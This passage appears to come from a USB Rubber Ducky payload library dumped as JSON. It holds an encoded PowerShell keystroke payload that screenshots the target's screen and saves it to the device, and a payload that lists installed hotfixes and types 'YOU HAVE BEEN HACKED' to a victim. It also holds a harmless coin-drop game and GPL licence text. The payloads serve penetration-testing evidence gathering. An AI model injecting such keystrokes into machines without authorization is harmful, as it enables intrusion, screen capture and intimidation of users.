kAOwANAAoAJABHAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABGACwAIAAkAFQALAAgADAALAAgADAALAAgACQAQgAuAFMAaQB6AGUAKQA7AA0ACgAkAEIALgBTAGEAdgBlACgAJABZACsAIgBcAFAAcgBvAG8AZgAuAGIAbQBwACIAKQA7ACQAUgBEACAAPQAgACgAZwB3AG0AaQAgAHcAaQBuADMAMgBfAHYAbwBsAHUAbQBlACAALQBmACAAJwBsAGEAYgBlAGwAPQAnACcARABVAEMASwBZACcAJwAnACkALgBOAGEAbQBlADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAE4AYQBtAGUAcwBwAGEAYwBlACgAMQA3ACkALgBQAGEAcgBzAGUATgBhAG0AZQAoACQAUgBEACkALgBJAG4AdgBvAGsAZQBWAGUAcgBiACgAJwBFAGoAZQBjAHQAJwApADsARQB4AGkAdAA=;exit\r\nDELAY 2000\r\nWAIT_FOR_STORAGE_INACTIVITY\r\nATTACKMODE OFF\r\n"
  },
  {
    "path": "payloads/library/general/EngagementDucky/readme.md",
    "content": "**Title: EngagementDucky**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nRequirements: DuckyScript 3.0<br>\r\nVersion: 1.0</p>\r\n\r\n**What is EngagementDucky?**\r\n#\r\n<p>EngagementDucky will help you generating your evidence. Typical proof of compromise is normally something harmless like a message in notepad on your targets machine. This payload will pop a message box, containing Username, Hostname, Time and Date. Afterwards Ducky will generate a screenshot of this message box and will save it. Afterwards you can walk away. Combine this with specific USB identifiers to help identifying you.<br>\r\nStep up your game and demonstrate impact in a few seconds without leaving your scope.</p>\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/general/EngagementDucky/usbidentifiers.png)\r\n\r\n**Instruction:**\r\n1. Configure USB identifiers\r\n\r\n2. Place inject.bin onto your Ducky\r\n\r\n3. Plug in your Ducky and wait until finish... walk away\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/general/EngagementDucky/proofpic.png)\r\n"
  },
  {
    "path": "payloads/library/general/Hotfix_Warning/payload.txt",
    "content": "\r\n# Title:         List Hotfixes and Warning Message            \r\n# Description:   List Hotfixes on a Windows Machine and then prints message of warning to the unsuspecting Victim\r\n# Author:        John Fawcett\r\n# Version:       1.1\r\n# Category:      General\r\n# Target:        Windows 10 (CMD)\r\n# Attackmodes:   HID\r\n\r\n\r\n#######Stage 1 Open CMD AND Get Hotfixes#########\r\n\r\nREM Open cmd\r\nDELAY 2000\r\nGUI r\r\nDELAY 2000\r\nSTRING cmd\r\nDELAY 500\r\nENTER\r\nDELAY 500\r\nSTRING wmic qfe\r\nENTER\r\n\r\n###### Stage 2 Print Message#######\r\n\r\nDELAY 1000\r\nSTRING CONGRATULATIONS, YOU HAVE BEEN HACKED!!!!\r\n"
  },
  {
    "path": "payloads/library/general/Multi_HID_The-Penny-Drops/Payload.txt",
    "content": "REM TITLE The Penny Drops\nREM AUTHOR Cribbit\nREM DESCRIPTION Little arcade coin drop / pachinko style game\nREM VERSION 1.0\nREM PROPS Darren & Korben\nEXTENSION TRANSLATE\n    REM VERSION 1.0\n\n    REM This extension acts as a library or collection of helper functions\n    REM to work with converting variables in your payloads.\n    REM WHY:\n    REM Of the many ways to get information about the state of your payload \n    REM is by injecting static strings effectively as debugging prints\n    REM However, given the non-static nature of payloads using variables in\n    REM DuckyScript 3.0 - the ability to decode variables during payload \n    REM execution and print (inject) representations of their current state \n    REM can often be a critically helpful development and debugging tool.\n\n    REM Available Functions: \n    REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call\n    REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call\n    REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call\n    REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call\n\n    REM USAGE:\n    REM set $INPUT to desired var\n    REM call the correct translate_ function for the expected data type e.g.\n    REM    VAR $myVar = 1234\n    REM    $INPUT = $myVar\n    REM    TRANSLATE_INT()\n    REM    REM the above code will inject 1234\n    \n    REM begin extension variables\n    DEFINE PRINT_INT 0\n    DEFINE PRINT_HEX 1\n    VAR $DIGIT_PRINT_MODE = PRINT_INT\n    VAR $D = 0\n    VAR $IN = 0\n    VAR $INPUT = 0\n    VAR $MOD = 0\n    VAR $P = FALSE\n    VAR $NL = TRUE\n    REM end extension variables\n    \n    REM REQUIRED for INT/HEX - convert int to char\n    FUNCTION PRINTDIGIT()\n        IF ($D == 0) THEN\n            STRING 0\n        ELSE IF ($D == 1) THEN\n            STRING 1\n        ELSE IF ($D == 2) THEN\n            STRING 2\n        ELSE IF ($D == 3) THEN\n            STRING 3\n        ELSE IF ($D == 4) THEN\n            STRING 4\n        ELSE IF ($D == 5) THEN\n            STRING 5\n        ELSE IF ($D == 6) THEN\n            STRING 6\n        ELSE IF ($D == 7) THEN\n            STRING 7\n        ELSE IF ($D == 8) THEN\n            STRING 8\n        ELSE IF ($D == 9) THEN\n            STRING 9\n        ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN \n            IF ($D == 10) THEN\n                STRING A\n            ELSE IF ($D == 11) THEN\n                STRING B\n            ELSE IF ($D == 12) THEN\n                STRING C\n            ELSE IF ($D == 13) THEN\n                STRING D\n            ELSE IF ($D == 14) THEN\n                STRING E\n            ELSE IF ($D == 15) THEN\n                STRING F\n            END_IF\n        ELSE \n            STRING ?\n        END_IF\n    END_FUNCTION\n    \n    REM REQUIRED for INT/HEX- consumes a character / place from the input \n    FUNCTION CONSUME()\n        $D = 0\n        WHILE ($INPUT >= $MOD)\n            $D = ($D + 1)\n            $INPUT = ($INPUT - $MOD)\n        END_WHILE\n        IF (($D > 0) || ($P == TRUE)) THEN\n            $P = TRUE\n            PRINTDIGIT()\n        END_IF\n    END_FUNCTION\n    \n    REM ENDIAN SWAPPER helper, (useful for working with VID/PID)\n    FUNCTION SWAP_ENDIAN()\n        $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))\n    END_FUNCTION\n    \n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a DECIMAL string representation\n    FUNCTION TRANSLATE_INT() \n        $DIGIT_PRINT_MODE = PRINT_INT\n        $P = FALSE\n        IF ( $INPUT >= 10000) THEN\n            $MOD = 10000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 1000) || ($P == TRUE)) THEN\n            $MOD = 1000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 100) || ($P == TRUE)) THEN\n            $MOD = 100\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 10) || ($P == TRUE)) THEN\n            $MOD = 10\n            CONSUME()\n        END_IF()\n        $D = $INPUT\n        PRINTDIGIT()\n        IF $NL THEN\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Translates a variable of presumed boolean type and attempts to convert\n    REM and inject a BOOLEAN string representation\n    FUNCTION TRANSLATE_BOOL()\n        IF $INPUT THEN\n            STRING TRUE\n        ELSE\n            STRING FALSE\n        END_IF\n        IF $NL THEN\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a HEX string representation \n    FUNCTION TRANSLATE_HEX()\n        $DIGIT_PRINT_MODE = PRINT_HEX\n        VAR $chars = 0\n        VAR $d1 = 0\n        VAR $d2 = 0\n        VAR $d3 = 0\n        VAR $d4 = 0\n        WHILE ($INPUT > 0)\n            IF ($chars == 0) THEN\n                $d1 = ($INPUT % 16)\n            ELSE IF ($chars == 1) THEN\n                $d2 = ($INPUT % 16)\n            ELSE IF ($chars == 2) THEN\n                $d3 = ($INPUT % 16)\n            ELSE IF ($chars == 3) THEN\n                $d4 = ($INPUT % 16)\n            END_IF\n            $chars = ($chars + 1)\n            $INPUT = ($INPUT / 16)\n        END_WHILE\n        VAR $i = 0\n        STRING 0x\n        IF ($chars == 0) THEN\n            STRING 0x0000\n        ELSE IF ($chars == 1) THEN\n            STRING 000\n            $D = $d1\n            PRINTDIGIT()\n        ELSE IF ($chars == 2) THEN\n            STRING 00\n            $D = $d2\n            PRINTDIGIT()\n            $D = $d1\n            PRINTDIGIT()\n        ELSE IF ($chars == 3) THEN\n            STRING 0\n            $D = $d3\n            PRINTDIGIT()\n            $D = $d2\n            PRINTDIGIT()\n            $D = $d1\n            PRINTDIGIT()\n        ELSE IF ($chars == 4) THEN\n            STRING 0\n            $D = $d4\n            PRINTDIGIT()\n            $D = $d3\n            PRINTDIGIT()\n            $D = $d2\n            PRINTDIGIT()\n            $D = $d1\n            PRINTDIGIT()\n        END_IF\n        IF $NL THEN\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a BINARY string representation \n    FUNCTION TRANSLATE_BINARY()\n            VAR $I = 16\n            WHILE ( $I > 0 )\n                $I = ($I - 1)\n                IF (($INPUT & 0x8000) == 0 ) THEN\n                    STRING 0\n                ELSE\n                    STRING 1\n                END_IF\n                $INPUT = ($INPUT << 1)\n            END_WHILE\n        IF $NL THEN\n            ENTER\n        END_IF\n    END_FUNCTION\nEND_EXTENSION\n\nATTACKMODE HID\nDELAY 3000\nDEFINE GAME_SPEED 500\nVAR $SCORE = 0\nVAR $COIN = 6\nVAR $MAX = 9999\nVAR $RUNNING = TRUE\nVAR $INPUT = 0\n$NL = FALSE\n\nFUNCTION move()\n    SHIFT LEFTARROW\n    SPACE\n    DOWNARROW\n    IF (($_RANDOM_INT % 2) == 0) THEN\n        $COIN = ($COIN + 1)\n        RIGHTARROW\n   ELSE\n        $COIN = ($COIN - 1)\n        LEFTARROW\n    END_IF\n    SHIFT LEFTARROW\n    STRING 0\nEND_FUNCTION\n\nFUNCTION drop()\n    VAR $A = 4\n    WHILE ($A > 0)\n        move()\n        DELAY GAME_SPEED\n        $A = ($A - 1)\n    END_WHILE\n    SHIFT LEFTARROW\n    SPACE\n    DOWNARROW\n    SHIFT LEFTARROW\n    STRING 0\n    DELAY GAME_SPEED\n    SHIFT LEFTARROW\n    SPACE\nEND_FUNCTION\n\nFUNCTION write_score()\n    DOWNARROW\n    DOWNARROW\n    END\n    SHIFT HOME\n    VAR $POINTS = 1\n    IF ($COIN == 6) THEN\n        $POINTS = 5\n    ELSE IF (($COIN == 4) || ($COIN == 8)) THEN\n        $POINTS = 2\n    END_IF\n\n    IF ($POINTS > ($MAX - $SCORE)) THEN\n        $SCORE = ($POINTS - ($MAX - $SCORE))\n    ELSE\n        $SCORE = ($SCORE + $POINTS)\n    END_IF\n\n    STRING SCORE:\n    $INPUT = $SCORE\n    TRANSLATE_INT()\nEND_FUNCTION\n\nFUNCTION end_game()\n        LED_R\n        $RUNNING = FALSE\nEND_FUNCTION\n\nFUNCTION reset()\n    UPARROW\n    UPARROW\n    UPARROW\n    UPARROW\n    UPARROW\n    UPARROW\n    UPARROW\n    END\n    LEFTARROW\n    LEFTARROW\n    LEFTARROW\n    LEFTARROW\n    LEFTARROW\n    SHIFT LEFTARROW\n    STRING 0\n    $COIN = 6\nEND_FUNCTION\n\nFUNCTION play_game()    \n    STRINGLN Penny drop / pachinko style game.\n    STRINGLN Press scroll lock to drop a coin.\n    ENTER\n    STRINGLN  _(PENNY)_ \n    STRINGLN /    0    \\\n    STRINGLN |    .    |\n    STRINGLN |   . .   |\n    STRINGLN |  . . .  |\n    STRINGLN | . . . . |\n    STRINGLN | | | | | |\n    STRINGLN |1|2|5|2|1|\n    reset()\n    WAIT_FOR_SCROLL_CHANGE\n    WHILE ($RUNNING == TRUE)\n        drop()\n        write_score()\n        reset()\n        WAIT_FOR_SCROLL_CHANGE\n    END_WHILE \n    ATTACKMODE HID STORAGE\nEND_FUNCTION\n\nBUTTON_DEF\n    end_game()\nEND_BUTTON\n\nplay_game()\n"
  },
  {
    "path": "payloads/library/general/Multi_HID_The-Penny-Drops/readme.md",
    "content": "# The Penny Drops\r\n* Author: Cribbit \r\n* Version: 1.0\r\n* Target: any\r\n* Category: General\r\n* Attackmode: HID\r\n* Props: Darren & Korben\r\n\r\n## Change Log\r\n| Version | Changes                       |\r\n| ------- | ------------------------------|\r\n| 1.0     | Initial release               |\r\n\r\n## Description\r\nLittle arcade coin drop / pachinko style game\r\n\r\n```\r\n _(PENNY)_ \r\n/    0    \\\r\n|    .    |\r\n|   . .   |\r\n|  . . .  |\r\n| . . . . |\r\n| | | | | |\r\n|1|2|5|2|1|\r\n```\r\n\r\n## Getting Started\r\n\r\nOpen a text editor then insert the ducky.\r\n\r\n"
  },
  {
    "path": "payloads/library/general/OneDuckToQuackThemAll/Docs/gpl.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for 